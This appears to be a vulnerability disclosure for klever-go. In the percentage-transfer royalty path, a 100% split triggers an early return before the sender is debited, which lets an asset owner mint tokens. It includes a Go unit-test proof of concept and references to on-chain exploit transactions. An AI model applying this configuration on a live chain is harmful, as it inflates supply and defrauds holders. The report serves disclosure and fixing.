klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits

Summary

In processPercentageRoyaltiesTransfer the royalty pool is collected from the sender by SubFromBalance that is ordered after the split loop and after if royaltiesToPay <= 0 { return Ok }. The split-payout guard rejects only an allocation that exceeds the pool (a strict splitToPay > royaltiesToPay), so a split entry of exactly 100% (PercentTransferPercentage = 10000) is a valid config: it drives royaltiesToPay to 0 and hits the early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing for it → mint. The sibling fixed-royalty path (processFixedRoyaltiesTransfer) debits the sender first and is safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after the early-return.

Affected code

• core/kapp/accounts/accounts.go — processPercentageRoyaltiesTransfer: split loop → if royaltiesToPay <= 0 { return Ok } → acntSrc.SubFromBalance(royaltyAmount) (debit after the early-return). Contrast the safe processFixedRoyaltiesTransfer (debit before the loop).

Impact

Unbounded self-inflation of the transferred KDA: royaltyAmount = transferValue × rate is minted to an owner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update (off-the-books).

Reachability

Owner-gated to configure (own KDA with a TransferPercentage royalty + a 100% split). Once configured, the mint fires on any holder's transfer of the asset — not just the owner's.

Proof of concept

Unit test

TestExploit_PercentRoyaltyZeroDebit drives the real processPercentageRoyaltiesTransfer with all relevant forks ON (KdaFpr, EnableSmartContracts, FixMarketBuyOverflow). With a single 100% split the recipient is credited the full royalty (40) while the sender's SubFromBalance is called 0 times (mint = 40); the 50% control case does not early-return, the sender is debited, and value conserves.

<details><summary>Full Go PoC (<code>core/kapp/accounts</code> package, passes = mint confirmed)</summary>

package accounts

import (
	"bytes"
	"encoding/hex"
	"testing"

	"github.com/stretchr/testify/require"

	commonMock "github.com/klever-io/klever-go/common/mock"
	"github.com/klever-io/klever-go/core"
	"github.com/klever-io/klever-go/core/kapp"
	"github.com/klever-io/klever-go/data/block"
	"github.com/klever-io/klever-go/data/state"
	"github.com/klever-io/klever-go/data/transaction"
	integrationMock "github.com/klever-io/klever-go/integrationTest/mock"
	"github.com/klever-io/klever-go/kapps"
	kvmStub "github.com/klever-io/klever-go/kvm/mock/stub"
)

// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:
// processPercentageRoyaltiesTransfer credits the split recipient
// inside the loop, then hits `if royaltiesToPay <= 0 { return Ok }` BEFORE the
// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split
// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay
// to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays
// nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case
// (which does NOT early-return) confirms the debit fires and value is conserved.
func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {
	const (
		assetIDStr     = "FUNGI-1234"
		transferValue  = int64(800)
		royaltyRatePct = uint32(500) // 5%
		royaltyAmount  = int64(40)   // 800 * 5% = 40
	)

	assetID := []byte(assetIDStr)

	// 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty
	// path is not short-circuited by core.IsSmartContractAddress.
	senderAddr := bytes.Repeat([]byte{0x11}, 32)
	// Split recipient address must be a valid hex string (computeSplitRoyalties
	// hex-decodes the map key).
	recipientAddr := bytes.Repeat([]byte{0x22}, 32)
	recipientKey := hex.EncodeToString(recipientAddr)
	royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)

	buildKDA := func(splitPercent uint32) *kapps.KDAData {
		return &kapps.KDAData{
			AssetType:    kapps.KDAData_Fungible,
			OwnerAddress: senderAddr,
			Royalties: &kapps.RoyaltiesData{
				Address: royaltyReceiverAddr,
				TransferPercentage: []*kapps.RoyaltyData{
					{Amount: 1000, Percentage: royaltyRatePct},
				},
				SplitRoyalties: map[string]*kapps.RoyaltySplitData{
					recipientKey: {PercentTransferPercentage: splitPercent},
				},
			},
		}
	}

	type runResult struct {
		subFromCalls    int
		subFromAmount   int64
		addToRecipient  int64
		addToOwnerRem   int64
		resCode         transaction.Transaction_TXResultCode
		err             error
	}

	run := func(t *testing.T, splitPercent uint32) runResult {
		t.Helper()

		res := runResult{}

		// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.
		acntSrc := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return senderAddr },
			GetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },
			SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.subFromCalls++
				res.subFromAmount += value
				return nil
			},
		}

		// Destination is irrelevant to the royalty pool accounting here.
		acntDst := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
		}

		// Split recipient: capture the credit it receives.
		splitRecipient := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return recipientAddr },
			AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.addToRecipient += value
				return nil
			},
		}

		// Owner-remainder receiver (only credited when the path does NOT early-return).
		royaltyReceiver := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
			AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.addToOwnerRem += value
				return nil
			},
		}

		cacher := &commonMock.AccountsCacherStub{
			LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {
				if bytes.Equal(address, recipientAddr) {
					return splitRecipient, nil
				}
				if bytes.Equal(address, royaltyReceiverAddr) {
					return royaltyReceiver, nil
				}
				return acntSrc, nil
			},
			GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {
				return royaltyReceiver, nil
			},
			UpdateUserCalled: func(_ state.AccountHandler) error { return nil },
		}

		// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts
		// (overflow-checked percentage math), and FixMarketBuyOverflow so the
		// fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE.
		fc := &integrationMock.ForkControllerStub{
			KdaFprCalled:               func() bool { return true },
			EnableSmartContractsCalled: func() bool { return true },
			FixMarketBuyOverflowCalled: func() bool { return true },
		}

		kappController := &kvmStub.KAppControllerStub{
			GetCurrentKAppContextCalled: func() kapp.KappContext {
				return kapp.NewKappContext(kapp.ArgsNewKAppContext{
					OriginalSender: senderAddr,
					ContractID:     0,
					ContractType:   transaction.TXContract_TransferContractType,
					Block:          &block.Block{},
				})
			},
		}

		a := &accountsKapp{
			accountsCacher: cacher,
			forkController: fc,
			KAppController: kappController,
		}

		tc := &transaction.TransferContract{
			Amount:       transferValue,
			KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)
		}

		kda := buildKDA(splitPercent)

		res.resCode, res.err = a.processPercentageRoyaltiesTransfer(
			tc, assetID, nil, acntSrc, acntDst, kda,
		)
		return res
	}

	// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----
	t.Run("split_100pct_mints", func(t *testing.T) {
		r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config

		require.NoError(t, r.err)
		require.Equal(t, transaction.Transaction_Ok, r.resCode)

		credited := r.addToRecipient
		debited := r.subFromAmount
		mintDelta := credited - debited

		t.Logf("[100%% case] split recipient credited (AddToBalance) = %d", credited)
		t.Logf("[100%% case] sender royalty-debit calls (SubFromBalance) = %d", r.subFromCalls)
		t.Logf("[100%% case] sender royalty amount debited            = %d", debited)
		t.Logf("[100%% case] owner-remainder credited                 = %d", r.addToOwnerRem)
		t.Logf("[100%% case] MINT delta (credited - debited)          = %d", mintDelta)

		// (1) split recipient WAS credited the full royaltyAmount (> 0).
		require.Equal(t, royaltyAmount, credited,
			"split recipient must receive the full royalty pool")
		require.Greater(t, credited, int64(0))

		// (2) the sender's royalty debit was NEVER called -> value created.
		require.Equal(t, 0, r.subFromCalls,
			"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the <=0 early-return")
		require.Equal(t, int64(0), debited)

		// credited > debited => mint of royaltyAmount.
		require.Equal(t, royaltyAmount, mintDelta,
			"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)",
			mintDelta, assetIDStr)
	})

	// ---- 50% split contrast: NO early-return, sender IS debited -> conserved. ----
	t.Run("split_50pct_conserves", func(t *testing.T) {
		r := run(t, core.HundredPercent/2) // 5000 == 50%

		require.NoError(t, r.err)
		require.Equal(t, transaction.Transaction_Ok, r.resCode)

		credited := r.addToRecipient + r.addToOwnerRem
		debited := r.subFromAmount

		t.Logf("[50%% case] split recipient credited      = %d", r.addToRecipient)
		t.Logf("[50%% case] owner-remainder credited       = %d", r.addToOwnerRem)
		t.Logf("[50%% case] total credited                 = %d", credited)
		t.Logf("[50%% case] sender royalty-debit calls      = %d", r.subFromCalls)
		t.Logf("[50%% case] sender royalty amount debited   = %d", debited)
		t.Logf("[50%% case] net (credited - debited)        = %d (0 => conserved)", credited-debited)

		// Sender IS debited the full royalty pool exactly once.
		require.Equal(t, 1, r.subFromCalls,
			"sibling path: at <100%% the early-return does NOT fire, so the sender royalty debit runs")
		require.Equal(t, royaltyAmount, debited)

		// Split (20) + owner remainder (20) == debited (40): value conserved.
		require.Equal(t, royaltyAmount/2, r.addToRecipient)
		require.Equal(t, royaltyAmount/2, r.addToOwnerRem)
		require.Equal(t, debited, credited, "50%% case conserves: total credited == debited")
	})
}

</details> <details><summary>Create tx — <code>F07-3NG3</code>, 10% transfer royalty + single 100% split to <code>R</code> (hash <code>ec2a8e8d…af12bc7f</code>)</summary> </details> <details><summary>Transfer tx — royalty pool 10,000,000,000 credited to <code>R</code> with no source debit (hash <code>37527757…bf3706b1</code>)</summary> </details>